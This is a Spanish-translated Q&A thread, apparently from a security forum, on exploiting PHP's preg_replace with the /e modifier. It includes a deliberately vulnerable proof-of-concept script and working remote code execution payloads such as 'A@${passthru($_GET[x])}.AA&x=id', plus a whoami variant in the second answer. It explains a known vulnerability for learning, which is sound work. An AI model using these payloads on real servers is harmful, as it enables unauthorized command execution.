Entendiendo el filtrado y la explotación de preg_replace

2

Aquí está la prueba de concepto del código:

<?php
$input=$_GET['input'];
print preg_replace('/[A-DH-M0-9._%+-]+@(.+)\.[A-Z]{2,4}/mADsex', 'strtoupper("\1")', $input);
?>

No entiendo muy bien lo que hace el filtro, todo lo que entiendo es que debería cambiar las siguientes letras [A a D], [H a M], [0 a 9] en caracteres en mayúscula. También se usa la bandera / e que permite evaluar el código PHP. Entonces, cuando intento una cadena de prueba de system("ls") , se me imprime con cualquier carácter eliminado y sin ser evaluado como código PHP.

    
pregunta 0x00 12.02.2017 - 19:43
fuente

2 respuestas

3

Hay dos problemas aquí, que puedes resolver.

Cómo funciona preg_replace e y cómo explotarlo

El primer problema es que preg_replace con e no solo ejecuta lo que le pasas. Solo ejecuta aquellas partes de la entrada que coinciden con la expresión regular y luego se usan en el reemplazo a través de referencias anteriores.

Este es un ejemplo menos complejo de cómo funciona preg_replace eval:

// The vulnerable code:
echo preg_replace('/(.*)/e', 'strtoupper("\1")', $input);

// Your input:
foobar

// foobar is now captured and passed as back reference 1 to the replacement

// evaled:
strtoupper("foobar")

// the result of that eval is then put as replacement into the original input

Para resolver el problema en su ejemplo, simplemente cree una entrada que coincida con la expresión regular:

A@YOUR_PAYLOAD.AA

YOUR_PAYLOAD es lo que capturará el grupo de captura y a lo que se hará referencia en el reemplazo.

Ejecución de código dentro de una cadena entre comillas dobles

El segundo problema es que el reemplazo usa la coincidencia dentro de una cadena, por lo que su coincidencia no se evaluará como código. Este es un problema fácil.

Su carga útil está dentro de cadenas entre comillas dobles, por lo que solo inyectar cualquier código PHP no funcionará, ya que se tratará como una cadena, no como un código. Puede pensar que simplemente escapar de la cadena a través de " resolvería su problema, pero eso no funcionará, ya que las comillas dobles son escaped en todas las referencias. Sin embargo, las variables y las llamadas de función se se evalúan dentro de cadenas entre comillas dobles.

Esto significa que puedes obtener ejecución de código como esta:

input=A@${passthru($_GET[x])}.AA&x=id

El código que se evaluará es:

strtoupper("${passthru($_GET[x])}")

El resultado será una cadena vacía, pero cuando passthru haga eco directamente de la entrada, le mostrará el resultado. Si la advertencia está habilitada, el uso de exec también funcionaría.

    
respondido por el tim 12.02.2017 - 20:25
fuente
-1

La carga útil correcta es

  

A @ $ {$ {passthru ($ _ GET [x])}}. AA & x = whoami

    
respondido por el Anony 13.02.2017 - 10:42
fuente

Lea otras preguntas en las etiquetas